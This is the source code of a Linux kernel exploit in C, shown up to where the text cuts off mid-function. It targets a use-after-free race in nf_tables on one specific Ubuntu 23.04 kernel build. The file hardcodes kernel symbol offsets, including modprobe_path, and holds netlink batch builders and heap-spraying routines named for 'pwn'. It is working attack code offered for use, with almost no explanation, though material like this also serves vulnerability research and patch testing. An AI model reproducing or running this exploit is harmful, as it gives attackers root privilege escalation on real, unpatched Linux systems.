README.md
Rendering markdown...
/****************************************************************************
*
* Please read EXPLOIT.md carefully before using.
*
*/
#define _GNU_SOURCE
#include <pthread.h>
#include <setjmp.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <net/if.h>
#include <netinet/in.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <libmnl/libmnl.h>
#include <libnftnl/chain.h>
#include <libnftnl/expr.h>
#include <libnftnl/object.h>
#include <libnftnl/rule.h>
#include <libnftnl/set.h>
#include <libnftnl/table.h>
uint64_t cfg_race_set_slab = 1;
uint64_t cfg_race_set_elem_count = 0x300 * 0x800;
useconds_t cfg_initial_usleep = 4 * 1000 * 1000;
useconds_t cfg_race_lead_usleep = 100 * 1000;
useconds_t cfg_race_lag_usleep = 600 * 1000;
useconds_t cfg_reuse_usleep = 100 * 1000;
/*
* Specific to the Linux kernel distributed in binary form as the following
* packages from Ubuntu 23.04 (Lunar Lobster):
* * "linux-image-6.2.0-20-generic", version "6.2.0-20.20", and
* * "linux-modules-6.2.0-20-generic", version "6.2.0-20.20".
*/
uint64_t cfg_free_percpu = 0xffffffffa419d240 - 0xffffffffa3e00000;
uint64_t cfg_modprobe_path = 0xffffffffa688b900 - 0xffffffffa3e00000;
uint64_t cfg_nft_counter_destroy = 0xffffffffc06a3700 - 0xffffffffc0680000;
uint64_t cfg_nft_counter_ops = 0xffffffffc06b47a0 - 0xffffffffc0680000;
/*
0000000000023700 <nft_counter_destroy>:
23700: e8 00 00 00 00 call <__fentry__>
23705: 55 push rbp
23706: 48 8b 7e 08 mov rdi,QWORD PTR [rsi+0x8]
2370a: 48 89 e5 mov rbp,rsp
2370d: e8 00 00 00 00 call <free_percpu>
23712: 5d pop rbp
23713: 31 f6 xor esi,esi
23715: 31 ff xor edi,edi
23717: e9 00 00 00 00 jmp <__x86_return_thunk>
*/
uint64_t cfg_nft_counter_destroy_call_offset = (0x23712 - 0x23700) - 8;
uint64_t cfg_nft_counter_destroy_call_mask = 0xffffffff;
uint64_t cfg_nft_counter_destroy_call_check = 0xe8e58948;
#define uaf_chunk_size 0x80
#define mnl_batch_limit (1024 * 1024)
char mnl_batch_buffer[2 * mnl_batch_limit];
char uaf_set_key[8 + 0x34];
char log_prefix[0x100];
static void cfg_print()
{
printf("\nUsing profile:\n========\n");
printf("%-19ld race_set_slab # {0,1}\n", cfg_race_set_slab);
printf("%-19ld race_set_elem_count # k\n", cfg_race_set_elem_count / 1000);
printf("%-19d initial_sleep # ms\n", cfg_initial_usleep / 1000);
printf("%-19d race_lead_sleep # ms\n", cfg_race_lead_usleep / 1000);
printf("%-19d race_lag_sleep # ms\n", cfg_race_lag_usleep / 1000);
printf("%-19d reuse_sleep # ms\n", cfg_reuse_usleep / 1000);
printf("%-19lx free_percpu # hex\n", cfg_free_percpu);
printf("%-19lx modprobe_path # hex\n", cfg_modprobe_path);
printf("%-19lx nft_counter_destroy # hex\n", cfg_nft_counter_destroy);
printf("%-19lx nft_counter_ops # hex\n", cfg_nft_counter_ops);
printf("%-19lx nft_counter_destroy_call_offset # hex\n", cfg_nft_counter_destroy_call_offset);
printf("%-19lx nft_counter_destroy_call_mask # hex\n", cfg_nft_counter_destroy_call_mask);
printf("%-19lx nft_counter_destroy_call_check # hex\n", cfg_nft_counter_destroy_call_check);
printf("========\n\n");
}
int cfg_load_line(char *line)
{
char *saveptr = NULL;
char *value = strtok_r(line, "\t ", &saveptr);
if (value == NULL) {
return EFAULT;
}
char *key = NULL;
do {
key = strtok_r(NULL, "\t\n ", &saveptr);
if (key == NULL) {
return EFAULT;
}
} while (strlen(key) < 2);
errno = 0;
if (strcmp(key, "race_set_slab") == 0) {
cfg_race_set_slab = strtoul(value, NULL, 0);
}
else if (strcmp(key, "race_set_elem_count") == 0) {
cfg_race_set_elem_count = 1000L * strtoul(value, NULL, 0);
}
else if (strcmp(key, "initial_sleep") == 0) {
cfg_initial_usleep = 1000L * strtoul(value, NULL, 0);
}
else if (strcmp(key, "race_lead_sleep") == 0) {
cfg_race_lead_usleep = 1000L * strtoul(value, NULL, 0);
}
else if (strcmp(key, "race_lag_sleep") == 0) {
cfg_race_lag_usleep = 1000L * strtoul(value, NULL, 0);
}
else if (strcmp(key, "reuse_sleep") == 0) {
cfg_reuse_usleep = 1000L * strtoul(value, NULL, 0);
}
else if (strcmp(key, "free_percpu") == 0) {
cfg_free_percpu = strtoul(value, NULL, 16);
}
else if (strcmp(key, "modprobe_path") == 0) {
cfg_modprobe_path = strtoul(value, NULL, 16);
}
else if (strcmp(key, "nft_counter_destroy") == 0) {
cfg_nft_counter_destroy = strtoul(value, NULL, 16);
}
else if (strcmp(key, "nft_counter_ops") == 0) {
cfg_nft_counter_ops = strtoul(value, NULL, 16);
}
else if (strcmp(key, "nft_counter_destroy_call_offset") == 0) {
cfg_nft_counter_destroy_call_offset = strtoul(value, NULL, 16);
}
else if (strcmp(key, "nft_counter_destroy_call_mask") == 0) {
cfg_nft_counter_destroy_call_mask = strtoul(value, NULL, 16);
}
else if (strcmp(key, "nft_counter_destroy_call_check") == 0) {
cfg_nft_counter_destroy_call_check = strtoul(value, NULL, 16);
}
else {
errno = ENOENT;
}
return errno;
}
static void cfg_load(char *path)
{
FILE *stream = fopen(path, "r");
if (stream != NULL) {
char *line = NULL;
size_t len = 0;
ssize_t nread;
while ((nread = getline(&line, &len, stream)) != -1) {
printf("[*] Profile line: %s", line);
if (cfg_load_line(line) != 0) {
printf("[!] ERROR\n");
}
}
fclose(stream);
}
}
void hex_dump(const char *data, ssize_t size)
{
if (size <= 0) {
printf("\n*** empty ***\n");
}
else {
char hex_buf[0x40];
char ascii_buf[0x20];
ssize_t ix = 0;
int pos = 0;
do {
unsigned char byte = data[ix];
sprintf(hex_buf + 3 * pos, "%02x ", byte);
ascii_buf[pos] = ((0x20 <= byte) && (byte < 0x7e))? byte: '.';
++ ix;
++ pos;
if ((ix == size) || (pos == 0x10)) {
ascii_buf[pos] = 0;
printf("\n%04lx: %-48s | %s", ix - pos, hex_buf, ascii_buf);
pos = 0;
}
} while (ix < size);
printf("\n");
}
}
void file_write(char *path, int flags, mode_t mode, char *content, size_t content_size)
{
int res;
int fd = open(path, flags, mode);
if (fd == -1) {
err(1, "Cannot into open()");
}
ssize_t size = write(fd, content, content_size);
if (size != content_size) {
err(1, "Cannot into write()");
}
res = close(fd);
if (res != 0) {
err(1, "Cannot into close()");
}
}
static void append_del_set(struct mnl_nlmsg_batch *batch, uint32_t seq,
uint32_t family, char *table_name, char *set_name)
{
struct nftnl_set *set = nftnl_set_alloc();
if (set == NULL) {
errx(1, "Cannot into nftnl_set_alloc()");
}
nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);
nftnl_set_set_str(set, NFTNL_SET_TABLE, table_name);
nftnl_set_set_str(set, NFTNL_SET_NAME, set_name);
struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_DELSET,
NFPROTO_INET,
NLM_F_ACK,
seq
);
nftnl_set_nlmsg_build_payload(nlh, set);
mnl_nlmsg_batch_next(batch);
nftnl_set_free(set);
}
static void append_new_obj(struct mnl_nlmsg_batch *batch, uint32_t seq,
uint32_t family, char *table_name, char *obj_name,
char *obj_userdata, uint32_t obj_userdata_len)
{
struct nftnl_obj *obj = nftnl_obj_alloc();
if (obj == NULL) {
errx(1, "Cannot into nftnl_obj_alloc()");
}
nftnl_obj_set_u32(obj, NFTNL_OBJ_FAMILY, family);
nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER);
nftnl_obj_set_str(obj, NFTNL_OBJ_TABLE, table_name);
nftnl_obj_set_str(obj, NFTNL_OBJ_NAME, obj_name);
if (obj_userdata) {
nftnl_obj_set_data(obj, NFTNL_OBJ_USERDATA, obj_userdata, obj_userdata_len);
}
struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWOBJ,
family,
NLM_F_ACK,
seq++
);
nftnl_obj_nlmsg_build_payload(nlh, obj);
nftnl_obj_free(obj);
mnl_nlmsg_batch_next(batch);
}
static void append_del_obj(struct mnl_nlmsg_batch *batch, uint32_t seq,
uint32_t family, char *table_name, char *obj_name)
{
struct nftnl_obj *obj = nftnl_obj_alloc();
if (obj == NULL) {
errx(1, "Cannot into nftnl_obj_alloc()");
}
nftnl_obj_set_u32(obj, NFTNL_OBJ_FAMILY, family);
nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER);
nftnl_obj_set_str(obj, NFTNL_OBJ_TABLE, table_name);
nftnl_obj_set_str(obj, NFTNL_OBJ_NAME, obj_name);
struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_DELOBJ,
family,
NLM_F_ACK,
seq++
);
nftnl_obj_nlmsg_build_payload(nlh, obj);
nftnl_obj_free(obj);
mnl_nlmsg_batch_next(batch);
}
static void append_del_rule(struct mnl_nlmsg_batch *batch, uint32_t seq,
uint32_t family, char *table_name, char *chain_name, uint64_t rule_handle)
{
struct nftnl_rule *rule = nftnl_rule_alloc();
if (rule == NULL) {
errx(1, "Cannot into nftnl_rule_alloc()");
}
nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, table_name);
nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name);
nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, family);
if (rule_handle != -1) {
nftnl_rule_set_u64(rule, NFTNL_RULE_HANDLE, rule_handle);
}
struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_DELRULE,
family,
NLM_F_ACK,
seq
);
nftnl_rule_nlmsg_build_payload(nlh, rule);
mnl_nlmsg_batch_next(batch);
nftnl_rule_free(rule);
}
uint32_t pwn_family = NFPROTO_INET;
char *pwn_table = "testfirewall";
char *pwn_lookup_set = "set_A";
char *pwn_lookup_chain = "OUTPUT";
char *pwn_log_chain = "INPUT";
char *pwn_dynset_set = "set_dyn";
char *pwn_dynset_chain = "chain_dyn";
static void pwn_create_table(struct mnl_nlmsg_batch *batch, uint32_t seq)
{
struct nftnl_table *table = nftnl_table_alloc();
if (table == NULL) {
errx(1, "Cannot into nftnl_table_alloc()");
}
nftnl_table_set_u32(table, NFTNL_TABLE_FAMILY, pwn_family);
nftnl_table_set_str(table, NFTNL_TABLE_NAME, pwn_table);
struct nlmsghdr *nlh = nftnl_table_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWTABLE,
pwn_family,
NLM_F_CREATE | NLM_F_ACK,
seq
);
nftnl_table_nlmsg_build_payload(nlh, table);
mnl_nlmsg_batch_next(batch);
nftnl_table_free(table);
}
static void pwn_create_set(struct mnl_nlmsg_batch *batch, uint32_t seq,
char *set_name, uint32_t set_id, uint32_t set_flags,
uint32_t set_key_len, uint32_t set_desc_size,
void *set_userdata, uint32_t set_userdata_len)
{
struct nftnl_set *set = nftnl_set_alloc();
if (set == NULL) {
errx(1, "Cannot into nftnl_set_alloc()");
}
nftnl_set_set_u32(set, NFTNL_SET_FAMILY, pwn_family);
nftnl_set_set_str(set, NFTNL_SET_TABLE, pwn_table);
nftnl_set_set_str(set, NFTNL_SET_NAME, set_name);
nftnl_set_set_u32(set, NFTNL_SET_ID, set_id);
nftnl_set_set_u32(set, NFTNL_SET_FLAGS, set_flags);
nftnl_set_set_u32(set, NFTNL_SET_KEY_LEN, set_key_len);
if (set_desc_size != 0) {
nftnl_set_set_u32(set, NFTNL_SET_DESC_SIZE, set_desc_size);
}
if (set_userdata != NULL) {
nftnl_set_set_data(set, NFTNL_SET_USERDATA, set_userdata, set_userdata_len);
}
struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWSET,
pwn_family,
NLM_F_CREATE | NLM_F_ACK,
seq
);
nftnl_set_nlmsg_build_payload(nlh, set);
mnl_nlmsg_batch_next(batch);
nftnl_set_free(set);
}
static void pwn_create_chain(struct mnl_nlmsg_batch *batch, uint32_t seq,
char *chain_name)
{
struct nftnl_chain *chain = nftnl_chain_alloc();
if (chain == NULL) {
errx(1, "Cannot into nftnl_chain_alloc()");
}
nftnl_chain_set_u32(chain, NFTNL_CHAIN_FAMILY, pwn_family);
nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, pwn_table);
nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name);
struct nlmsghdr *nlh = nftnl_chain_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWCHAIN,
pwn_family,
NLM_F_CREATE | NLM_F_ACK,
seq
);
nftnl_chain_nlmsg_build_payload(nlh, chain);
mnl_nlmsg_batch_next(batch);
nftnl_chain_free(chain);
}
static void pwn_create_lookup_set_elem(struct mnl_nlmsg_batch *batch, uint32_t seq,
char *set_name,
void *set_elem_key, uint32_t set_elem_key_len)
{
char set_elem_userdata[0x2f] = {};
struct nftnl_set *set = nftnl_set_alloc();
if (set == NULL) {
errx(1, "Cannot into nftnl_set_alloc()");
}
nftnl_set_set_u32(set, NFTNL_SET_FAMILY, pwn_family);
nftnl_set_set_str(set, NFTNL_SET_TABLE, pwn_table);
nftnl_set_set_str(set, NFTNL_SET_NAME, set_name);
struct nftnl_set_elem *set_elem = nftnl_set_elem_alloc();
if (set_elem == NULL) {
errx(1, "Cannot into nftnl_set_elem_alloc()");
}
nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_KEY, set_elem_key, set_elem_key_len);
nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_USERDATA, set_elem_userdata, sizeof(set_elem_userdata));
nftnl_set_elem_add(set, set_elem);
struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWSETELEM,
NFPROTO_INET,
NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK,
seq
);
nftnl_set_elems_nlmsg_build_payload(nlh, set);
mnl_nlmsg_batch_next(batch);
nftnl_set_free(set);
}
static void pwn_create_lookup_rule(struct mnl_nlmsg_batch *batch, uint32_t seq,
char *chain_name, char *set_name)
{
struct nftnl_rule *rule = nftnl_rule_alloc();
if (rule == NULL) {
errx(1, "Cannot into nftnl_rule_alloc()");
}
nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, pwn_family);
nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, pwn_table);
nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name);
struct nftnl_expr *lookup = nftnl_expr_alloc("lookup");
if (lookup == NULL) {
errx(1, "Cannot into nftnl_expr_alloc()");
}
nftnl_expr_set_u32(lookup, NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);
nftnl_expr_set_str(lookup, NFTNL_EXPR_LOOKUP_SET, set_name);
nftnl_expr_set_u32(lookup, NFTNL_EXPR_LOOKUP_FLAGS, 0);
nftnl_rule_add_expr(rule, lookup);
struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWRULE,
pwn_family,
NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK,
seq
);
nftnl_rule_nlmsg_build_payload(nlh, rule);
mnl_nlmsg_batch_next(batch);
nftnl_rule_free(rule);
}
static void pwn_create_log_rule(struct mnl_nlmsg_batch *batch, uint32_t seq,
char *chain_name, char *log_prefix)
{
char rule_userdata[0x2f] = {};
struct nftnl_rule *rule = nftnl_rule_alloc();
if (rule == NULL) {
errx(1, "Cannot into nftnl_rule_alloc()");
}
nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, pwn_family);
nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, pwn_table);
nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name);
nftnl_rule_set_data(rule, NFTNL_RULE_USERDATA, rule_userdata, sizeof(rule_userdata));
struct nftnl_expr *byteorder = nftnl_expr_alloc("byteorder");
if (byteorder == NULL) {
errx(1, "Cannot into nftnl_expr_alloc()");
}
nftnl_expr_set_u32(byteorder, NFTNL_EXPR_BYTEORDER_OP, NFT_BYTEORDER_NTOH);
nftnl_expr_set_u32(byteorder, NFTNL_EXPR_BYTEORDER_SIZE, 8);
nftnl_expr_set_u32(byteorder, NFTNL_EXPR_BYTEORDER_SREG, NFT_REG_1);
nftnl_expr_set_u32(byteorder, NFTNL_EXPR_BYTEORDER_DREG, NFT_REG_2);
nftnl_expr_set_u32(byteorder, NFTNL_EXPR_BYTEORDER_LEN, 1);
nftnl_rule_add_expr(rule, byteorder);
struct nftnl_expr *log = nftnl_expr_alloc("log");
if (log == NULL) {
errx(1, "Cannot into nftnl_expr_alloc()");
}
nftnl_expr_set_u32(log, NFTNL_EXPR_LOG_LEVEL, NFT_LOGLEVEL_AUDIT);
nftnl_expr_set_str(log, NFTNL_EXPR_LOG_PREFIX, log_prefix);
nftnl_rule_add_expr(rule, log);
struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWRULE,
pwn_family,
NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK,
seq
);
nftnl_rule_nlmsg_build_payload(nlh, rule);
mnl_nlmsg_batch_next(batch);
nftnl_rule_free(rule);
}
static void pwn_create_dynset_set(struct mnl_nlmsg_batch *batch, uint32_t seq,
char *set_name, uint32_t set_id)
{
struct nftnl_set *set = nftnl_set_alloc();
if (set == NULL) {
errx(1, "Cannot into nftnl_set_alloc()");
}
nftnl_set_set_u32(set, NFTNL_SET_FAMILY, pwn_family);
nftnl_set_set_str(set, NFTNL_SET_TABLE, pwn_table);
nftnl_set_set_str(set, NFTNL_SET_NAME, set_name);
nftnl_set_set_u32(set, NFTNL_SET_ID, set_id);
nftnl_set_set_u32(set, NFTNL_SET_FLAGS, NFT_SET_EVAL | NFT_SET_EXPR);
nftnl_set_set_u32(set, NFTNL_SET_KEY_LEN, 0x34);
struct nftnl_expr *counter = nftnl_expr_alloc("counter");
if (counter == NULL) {
errx(1, "Cannot into nftnl_expr_alloc()");
}
nftnl_set_add_expr(set, counter);
struct nftnl_expr *quota = nftnl_expr_alloc("quota");
if (quota == NULL) {
errx(1, "Cannot into nftnl_expr_alloc()");
}
nftnl_expr_set_u64(quota, NFTNL_EXPR_QUOTA_BYTES, 0x7fffffffffffffff);
nftnl_set_add_expr(set, quota);
struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWSET,
pwn_family,
NLM_F_CREATE | NLM_F_ACK,
seq
);
nftnl_set_nlmsg_build_payload(nlh, set);
mnl_nlmsg_batch_next(batch);
nftnl_set_free(set);
}
static void pwn_create_dynset_chain(struct mnl_nlmsg_batch *batch, uint32_t seq,
char *chain_name)
{
struct nftnl_chain *chain = nftnl_chain_alloc();
if (chain == NULL) {
errx(1, "Cannot into nftnl_chain_alloc()");
}
nftnl_chain_set_u32(chain, NFTNL_CHAIN_FAMILY, pwn_family);
nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, pwn_table);
nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name);
nftnl_chain_set_str(chain, NFTNL_CHAIN_TYPE, "filter");
nftnl_chain_set_u32(chain, NFTNL_CHAIN_HOOKNUM, NF_INET_LOCAL_OUT);
nftnl_chain_set_u32(chain, NFTNL_CHAIN_PRIO, 0);
struct nlmsghdr *nlh = nftnl_chain_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWCHAIN,
pwn_family,
NLM_F_CREATE | NLM_F_ACK,
seq
);
nftnl_chain_nlmsg_build_payload(nlh, chain);
mnl_nlmsg_batch_next(batch);
nftnl_chain_free(chain);
}
static void pwn_create_dynset_rule(struct mnl_nlmsg_batch *batch, uint32_t seq,
char *chain_name, char *dynset_set_name)
{
struct nftnl_rule *rule = nftnl_rule_alloc();
if (rule == NULL) {
errx(1, "Cannot into nftnl_rule_alloc()");
}
nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, pwn_family);
nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, pwn_table);
nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name);
struct nftnl_expr *payload = nftnl_expr_alloc("payload");
if (payload == NULL) {
errx(1, "Cannot into nftnl_expr_alloc()");
}
nftnl_expr_set_u32(payload, NFTNL_EXPR_PAYLOAD_BASE, NFT_PAYLOAD_INNER_HEADER);
nftnl_expr_set_u32(payload, NFTNL_EXPR_PAYLOAD_OFFSET, 0);
nftnl_expr_set_u32(payload, NFTNL_EXPR_PAYLOAD_LEN, 1);
nftnl_expr_set_u32(payload, NFTNL_EXPR_PAYLOAD_DREG, NFT_REG_1);
nftnl_rule_add_expr(rule, payload);
struct nftnl_expr *dynset = nftnl_expr_alloc("dynset");
if (dynset == NULL) {
errx(1, "Cannot into nftnl_expr_alloc()");
}
nftnl_expr_set_str(dynset, NFTNL_EXPR_DYNSET_SET_NAME, dynset_set_name);
nftnl_expr_set_u32(dynset, NFTNL_EXPR_DYNSET_OP, htonl(NFT_DYNSET_OP_UPDATE));
nftnl_expr_set_u32(dynset, NFTNL_EXPR_DYNSET_FLAGS, NFT_DYNSET_F_EXPR);
nftnl_expr_set_u32(dynset, NFTNL_EXPR_DYNSET_SREG_KEY, NFT_REG_1);
struct nftnl_expr *counter = nftnl_expr_alloc("counter");
if (counter == NULL) {
errx(1, "Cannot into nftnl_expr_alloc()");
}
nftnl_expr_add_expr(dynset, NFTNL_EXPR_DYNSET_EXPR, counter);
struct nftnl_expr *quota = nftnl_expr_alloc("quota");
if (quota == NULL) {
errx(1, "Cannot into nftnl_expr_alloc()");
}
nftnl_expr_set_u64(quota, NFTNL_EXPR_QUOTA_BYTES, 0x7fffffffffffffff);
nftnl_expr_add_expr(dynset, NFTNL_EXPR_DYNSET_EXPR, quota);
nftnl_rule_add_expr(rule, dynset);
struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWRULE,
pwn_family,
NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK,
seq
);
nftnl_rule_nlmsg_build_payload(nlh, rule);
mnl_nlmsg_batch_next(batch);
nftnl_rule_free(rule);
}
static void pwn_prepare(struct mnl_socket *nl)
{
uint32_t portid, seq, table_seq;
int ret;
printf("pwn_prepare\n");
seq = time(NULL);
struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
table_seq = seq;
mnl_nlmsg_batch_next(batch);
pwn_create_table(batch, seq++);
pwn_create_chain(batch, seq++, pwn_lookup_chain);
pwn_create_chain(batch, seq++, pwn_log_chain);
/* load "nft_log.ko" now to reduce noise when racing */
pwn_create_log_rule(batch, seq++, pwn_log_chain, log_prefix);
pwn_create_dynset_set(batch, seq++, pwn_dynset_set, 0);
pwn_create_dynset_chain(batch, seq++, pwn_dynset_chain);
pwn_create_dynset_rule(batch, seq++, pwn_dynset_chain, pwn_dynset_set);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
portid = mnl_socket_get_portid(nl);
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0) {
err(1, "Cannot into mnl_socket_sendto()");
}
mnl_nlmsg_batch_stop(batch);
while (table_seq + 1 != seq) {
ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
if (ret <= 0)
break;
ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
if (ret < 0)
break;
table_seq++;
}
if (ret == -1) {
err(1, "Cannot into mnl_socket_recvfrom()");
}
}
static void pwn_uaf_spray(struct mnl_socket *nl)
{
uint32_t portid, seq, table_seq;
int ret;
printf("pwn_uaf_spray\n");
memset(uaf_set_key, 0, sizeof(uaf_set_key));
uaf_set_key[4] = 0x90;
char set_userdata_buf[0x100] = {};
char *set_userdata;
uint32_t set_userdata_size;
if (cfg_race_set_slab == 0) {
set_userdata = NULL;
set_userdata_size = 0;
}
else {
set_userdata = set_userdata_buf;
set_userdata_size = sizeof(set_userdata_buf);
}
seq = time(NULL);
struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
table_seq = seq;
mnl_nlmsg_batch_next(batch);
for (int spray = - 0x50; spray < 10; ++ spray) {
if (spray == 0) {
pwn_create_set(batch, seq++, pwn_lookup_set, spray, NFT_SET_ANONYMOUS, sizeof(uaf_set_key), 0, set_userdata, set_userdata_size);
}
else {
char *set_name;
asprintf(&set_name, "spray_set_%04hx", spray);
pwn_create_set(batch, seq++, set_name, spray, NFT_SET_ANONYMOUS, sizeof(uaf_set_key), 0, set_userdata, set_userdata_size);
}
}
for (int spray = - 0x60; spray < 0x21; ++ spray) {
if (spray == 0) {
pwn_create_lookup_set_elem(batch, seq++, pwn_lookup_set, uaf_set_key, sizeof(uaf_set_key));
}
else {
pwn_create_log_rule(batch, seq++, pwn_log_chain, log_prefix);
}
}
for (int spray = 1; spray < 10; ++ spray) {
char *obj_name;
asprintf(&obj_name, "spray_obj_%04hx", spray);
char obj_userdata[uaf_chunk_size];
memset(obj_userdata, 'B', sizeof(obj_userdata));
append_new_obj(batch, seq++, NFPROTO_INET, "testfirewall", obj_name, obj_userdata, sizeof(obj_userdata));
}
pwn_create_lookup_rule(batch, seq++, pwn_lookup_chain, pwn_lookup_set);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
portid = mnl_socket_get_portid(nl);
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0) {
err(1, "Cannot into mnl_socket_sendto()");
}
mnl_nlmsg_batch_stop(batch);
while (table_seq + 1 != seq) {
ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
if (ret <= 0)
break;
ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
if (ret < 0)
break;
table_seq++;
}
if (ret == -1) {
err(1, "Cannot into mnl_socket_recvfrom()");
}
}
static void pwn_delay_spray_set(struct mnl_socket *nl)
{
uint32_t portid, seq, table_seq;
int ret;
printf("pwn_delay_spray_set\n");
seq = time(NULL);
struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
table_seq = seq;
mnl_nlmsg_batch_next(batch);
pwn_create_set(batch, seq++, "set_delay", 1, 0, sizeof(uint64_t), 0, NULL, 0);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
portid = mnl_socket_get_portid(nl);
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0) {
err(1, "Cannot into mnl_socket_sendto()");
}
mnl_nlmsg_batch_stop(batch);
while (table_seq + 1 != seq) {
ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
if (ret <= 0)
break;
ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
if (ret < 0)
break;
table_seq++;
}
if (ret == -1) {
err(1, "Cannot into mnl_socket_recvfrom()");
}
}
static void pwn_delay_spray_set_elem(struct mnl_socket *nl, uint64_t *set_elem_key, uint64_t set_elem_key_end)
{
uint32_t portid, seq, table_seq;
int ret;
seq = time(NULL);
struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
table_seq = seq;
mnl_nlmsg_batch_next(batch);
struct nftnl_set *set = nftnl_set_alloc();
if (set == NULL) {
errx(1, "Cannot into nftnl_set_alloc()");
}
nftnl_set_set_u32(set, NFTNL_SET_FAMILY, pwn_family);
nftnl_set_set_str(set, NFTNL_SET_TABLE, pwn_table);
nftnl_set_set_str(set, NFTNL_SET_NAME, "set_delay");
uint64_t count = set_elem_key_end - (*set_elem_key);
if (count > 0x800) {
count = 0x800;
}
while (count > 0) {
-- count;
struct nftnl_set_elem *set_elem = nftnl_set_elem_alloc();
if (set_elem == NULL) {
errx(1, "Cannot into nftnl_set_elem_alloc()");
}
nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_KEY, set_elem_key, sizeof(*set_elem_key));
nftnl_set_elem_add(set, set_elem);
++ (*set_elem_key);
}
struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWSETELEM,
NFPROTO_INET,
NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK,
seq++
);
nftnl_set_elems_nlmsg_build_payload(nlh, set);
mnl_nlmsg_batch_next(batch);
nftnl_set_free(set);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
portid = mnl_socket_get_portid(nl);
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0) {
